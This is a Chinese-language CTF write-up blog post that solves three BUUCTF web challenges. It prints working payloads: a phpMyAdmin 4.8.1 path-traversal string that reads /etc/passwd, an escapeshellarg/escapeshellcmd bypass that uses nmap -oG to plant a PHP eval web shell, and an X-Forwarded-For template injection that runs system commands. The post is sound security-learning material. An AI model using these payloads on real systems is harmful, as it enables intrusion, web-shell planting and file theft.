BUU刷题Day3

[GWCTF 2019]我有一个数据库

这题一看就不简单,进去一顿乱码看的我脑瓜子嗡嗡的,源码F12里面都没有提示

/robots.txt里面提示了phpinfo.php那就进去看了看,但是没有找到什么有用的,想起来这个名字是我有一个数据库,php+数据库 ---> phpmyadmin,去看看?真的可以,而且密码都没有,找了找啥也没找到,有点郁闷,搜了一下5.5.62版本的mysql的漏洞,啥也没有,于是秉着有phpmyadmin的原则去搜了一下phpmyadmin4.8.1的漏洞

我发现了phpmyadmin4.8.0-4.8.1存在漏洞

构造payload:

?target=db_datadict.php%253f/../../../../../../../../etc/passwd

拿flag--payload:

?target=db_datadict.php%253f/../../../../../../../../flag

总结:

要注意各个组件版本信息,搜索它本身就有的漏洞,这道题也让我想到了log4j,但是我没找到可以插入的地方就放弃了

[BUUCTF 2018]Online Tool

上来就是php代码,要审啦要审啦

GET传一个host参数,最后交给system执行nmap语句

中间运用了escapeshellarg和escapeshellcmd来进行过滤

  escapeshellarg
  1,确保用户值传递一个参数给命令
  2,用户不能指定更多的参数
  3,用户不能执行不同的命令
  ``/escapeshellcmd
  1,确保用户只执行一个命令
  2,用户可以指定不限数量的参数
  3,用户不能执行不同的命令

所以我们的思路就是构造payload使得它可以再完成部分的检测后最后执行最后一句的nmap命令,但是nmap有什么用呢?这时候我们就需要知道nmap的一个参数-oG可以实现将命令和结果写到文件,所以我们的思路就变成了利用-oG参数往网站里写一行一句话木马。

引用一下大佬的话:

1.传入的参数是:127.0.0.1' -v -d a=1

2.经过escapeshellarg处理后变成了'127.0.0.1''' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

3.经过escapeshellcmd处理后变成'127.0.0.1'\'' -v -d a=1',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义

4.最后执行的命令是curl '127.0.0.1'\'' -v -d a=1',由于中间的\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 127.0.0.1\ -v -d a=1',即向127.0.0.1\发起请求,POST 数据为a=1'。

常见的rce思路用| & &&都不行,虽然我们通过这些操作逃过了单引号,但是escapeshellcmd会对特殊符号加上\来转义,但是我们之前说了,要用nmap的-oG参数,所以就直接写入一句话木马

payload:

?host=' <?php @eval($_POST["cmd"]);?> -oG shell.php '

总结:

rce里面也经常可以用到写马getshell,无回显的题也可以

学到了新的的函数!!!

[BJDCTF2020]The mystery of ip

这个题进来后就可以看到hint和flag,我以为就这样结束的时候我才发现我是这么的天真,他只是给了个ip

hint的源代码里有一行注释是你知道我为什么知道你的IP吗?,那我就抓你包看一看!

抓包没抓到什么有用的东西,但是我想到了X-Forwarded-For:可以修改来源,那我们就试一试。果然可以!

然后我就试着写个一句话进去看一看

写是写了,也可以显示,但是就是没有存入flag.php,恼火啊 !

那就试试rce,能不能执行系统命令!

可以!,那我们拿flag就逃吧!

payload:

{system("cat /f*")}

总结:

复习了一下X-Forwarded-For:

X-Forwarded-For 是一个扩展头。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP,现在已经成为事实上的标准,被各大 HTTP 代理、负载均衡等转发服务广泛使用,并被写入 RFC 7239(Forwarded HTTP Extension)标准之中.

X-Real-IP 是一个自定义头。X-Real-Ip 通常被 HTTP 代理用来表示与它产生 TCP 连接的设备 IP,这个设备可能是其他代理,也可能是真正的请求端。需要注意的是,X-Real-Ip 目前并不属于任何标准,代理和 Web 应用之间可以约定用任何自定义头来传递这个信息

$remote_addr 是nginx与客户端进行TCP连接过程中,获得的客户端真实地址. Remote Address 无法伪造,因为建立 TCP 连接需要三次握手,如果伪造了源 IP,无法建立 TCP 连接,更不会有后面的 HTTP 请求

感谢buu提供优质题目,感谢勤劳的自己

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

姜小孩.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值